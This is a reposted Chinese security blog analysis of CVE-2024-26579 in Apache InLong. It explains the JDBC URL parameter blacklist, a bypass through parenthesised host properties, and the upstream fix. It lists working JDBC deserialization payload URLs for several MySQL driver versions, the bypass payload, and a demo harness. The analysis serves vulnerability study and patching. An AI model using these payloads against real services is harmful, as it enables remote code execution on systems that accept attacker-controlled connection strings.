Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)

admin 2024年6月3日16:51:31评论2 views字数 9501阅读31分40秒阅读模式

漏洞描述

Apache InLong 是开源的高性能数据集成框架,用于业务构建基于流式的数据分析、建模和应用。

受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。

影响范围

org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)

以上信息来自:OSCS社区

前置知识

JDBC反序列化

jdbc反序列化漏洞原理就是因为其url可控导致我们可以连接一个恶意的mysql服务器,在建立连接的过程中拿到恶意的数据导致反序列化漏洞。

fnmsd师傅总结的不同版本下的POC:

ServerStatusDiffInterceptor触发:

8.x
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

6.x(属性名不同)
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.11及以上的5.x版本(包名没有了cj)
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.10及以下的5.1.X版本:同上,但是需要连接后执行查询。

5.0.x:还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏

detectCustomCollations触发:

5.1.41及以上:不可用

5.1.29-5.1.40
:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc

5.1.28-5.1.19
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc

5.1.18以下的5.1.x版本:不可用

5.0.x版本不可用

关键点

拿8.0.12的来看,autoDeserialize 为True,才会进入到最后readObject()来进行一个反序列化的操作。

详细分析可以看Tri0mphe师傅的文章:小白看得懂的MySQL JDBC 反序列化漏洞分析

所以,payload中的autoDeserialize=true就必不可缺。

因为在防御JDBC反序列化漏洞时,一个思路就是检查jdbcurl中是否存在autoDeserialize=true

Apache InLong中的防御

下边我们看看Apache InLong中对JDBC反序列化漏洞是如何进行防御的,防御代码主要写在MySQLSensitiveUrlUtils这个工具类中。

路径:inlong-manager/manager-pojo/src/main/java/org/apache/inlong/manager/pojo/util/MySQLSensitiveUrlUtils.java

我们把1.11.0版本中MySQLSensitiveUrlUtils关键的代码分析一下:

定义一个常量 SENSITIVE_REPLACE_PARAM_MAP,其中包含了需要替换的敏感参数,以及它们替换后的值。这个常量是一个 Map,其中键为需要替换的参数名,值为替换后的参数值。

private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {
       {
            put("autoDeserialize""false");
            put("allowLoadLocalInfile""false");
            put("allowUrlInLocalInfile""false");
        }
    };

定义另一个常量 SENSITIVE_REMOVE_PARAM_MAP,其中包含了需要删除的敏感参数。这个常量是一个 Set,其中包含了需要删除的参数名。

private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {

        {
            add("allowLoadLocalInfileInPath");
        }
    };

最重要的部分

首先判断输入的 URL 中是否包含问号(?)字符,如果存在参数部分,则进入处理过程。

if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {

创建一个 StringBuilder 对象,用于构建处理后的 URL。先将问号之前的部分加入 StringBuilder 中,并添加一个问号。

Copy CodeStringBuilder builder = new StringBuilder();
builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
builder.append(InlongConstants.QUESTION_MARK);

创建一个 List 对象 paramList,用于存储处理后的参数。从输入的 URL 中获取参数部分,并将其赋值给 queryString 变量。如果 queryString 中包含井号(#),则将井号之前的部分作为新的 queryString。

Copy CodeList<String> paramList = new ArrayList<>();
String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK);
if (queryString.contains("#")) {
    queryString = StringUtils.substringBefore(queryString, "#");
}

遍历 queryString 中的每一个参数,将参数名和参数值分别存储到 key 和 value 变量中。然后判断该参数名是否需要替换或删除,如果是,则跳过该参数,否则将其加入 paramList 中。最后将需要替换的参数及其对应的值也加入 paramList 中。

Copy Codefor (String param : queryString.split(InlongConstants.AMPERSAND)) {
    String key = StringUtils.substringBefore(param, InlongConstants.EQUAL);
    String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);

    if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) {
        continue;
    }

    paramList.add(key + InlongConstants.EQUAL + value);
}
SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));

将 paramList 中的参数用 & 符号连接起来,并加入 StringBuilder 中,最终得到处理后的 URL。

Copy CodeString params = StringUtils.join(paramList, InlongConstants.AMPERSAND);
builder.append(params);
resultUrl = builder.toString();

总结

1、先取?前的部分

2、之后就是对?之后(若存在#,则是?#之间)的参数进行一个处理,比如:

queryString 的值为 "user=root&password=123456#qwe=123",执行该段代码后,queryString 的值将被修改为 "user=root&password=123456",然后进行一个黑名单的匹配

3、处理完之后拼接

调试

public static void main(String[] args) {
        String url="jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";
        String s = filterSensitive(url);
        System.out.println(s);
    }
Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
image-20240523015545004

一句话说就是有#,就把?和#之间的黑名单匹配;没#,就把?之后的拿出来黑名单匹配

漏洞分析

刚刚也说了,黑名单的匹配主要是对?#之间的数据匹配,那如果autoDeserialize=true不在?#之间并且url语法还正确,是不是就可以绕过了呢?(其实#的影响并不大,主要是?)

在mysql⽂档中找到了一下几种形式的url格式来绕过黑名单

Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
image-20240523021610688

比如:

payload:

jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test

因为不存在?,直接绕过了黑名单的判断

Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
image-20240523022214422

漏洞修复

通过commit:https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8

Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
image-20240523022651343

在之前原有的的黑名单处理操作前又加了一步:

for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
                resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
                resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
            }

使用StringUtils.replaceIgnoreCase方法对URL字符串进行替换操作,将值为"true"或"yes"的敏感参数移除。

Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
image-20240523023045910

测试环境

导入依赖:

<!-- https://mvnrepository.com/artifact/org.apache.inlong/inlong-common -->
        <dependency>
            <groupId>org.apache.inlong</groupId>
            <artifactId>manager-common</artifactId>
            <version>1.11.0</version>
        </dependency>

demo:

package org.example.jdbc;

import org.apache.inlong.manager.common.consts.InlongConstants;
import org.apache.inlong.manager.common.exceptions.BaseException;

import org.apache.commons.lang3.StringUtils;

import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class jdbc {
        private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {

            {
                put("autoDeserialize""false");
                put("allowLoadLocalInfile""false");
                put("allowUrlInLocalInfile""false");
            }
        };

        private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {

            {
                add("allowLoadLocalInfileInPath");
            }
        };

        public static String filterSensitive(String url) {
            if (StringUtils.isBlank(url)) {
                return url;
            }

            try {
                String resultUrl = url;
                while (resultUrl.contains(InlongConstants.PERCENT)) {
                    resultUrl = URLDecoder.decode(resultUrl, "UTF-8");
                }
                resultUrl = resultUrl.replaceAll(InlongConstants.REGEX_WHITESPACE, InlongConstants.EMPTY);

//                修复代码
//                for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
//                    resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
//                    resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
//                }

                if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {
                    StringBuilder builder = new StringBuilder();
                    builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
                    builder.append(InlongConstants.QUESTION_MARK);

                    List<String> paramList = new ArrayList<>();
                    String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK);
                    if (queryString.contains("#")) {
                        queryString = StringUtils.substringBefore(queryString, "#");
                    }
                    for (String param : queryString.split(InlongConstants.AMPERSAND)) {
                        String key = StringUtils.substringBefore(param, InlongConstants.EQUAL);
                        String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);

                        if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) {
                            continue;
                        }

                        paramList.add(key + InlongConstants.EQUAL + value);
                    }
                    SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));

                    String params = StringUtils.join(paramList, InlongConstants.AMPERSAND);
                    builder.append(params);
                    resultUrl = builder.toString();
                }

                return resultUrl;
            } catch (Exception e) {
                throw new BaseException(String.format("Failed to filter MySQL sensitive URL: %s, error: %s",
                        url, e.getMessage()));
            }
        }


    public static void main(String[] args) {
        String url="jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test";
        String s = filterSensitive(url);
        System.out.println(s);
    }
}

参考文章

https://xz.aliyun.com/t/8159

https://www.anquanke.com/post/id/203086

首发先知社区,作者Yu9

链接:https://xz.aliyun.com/t/14616

原文始发于微信公众号(安服仔Yu9):Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日16:51:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)http://cn-sec.com/archives/2810017.html

发表评论

匿名网友 填写信息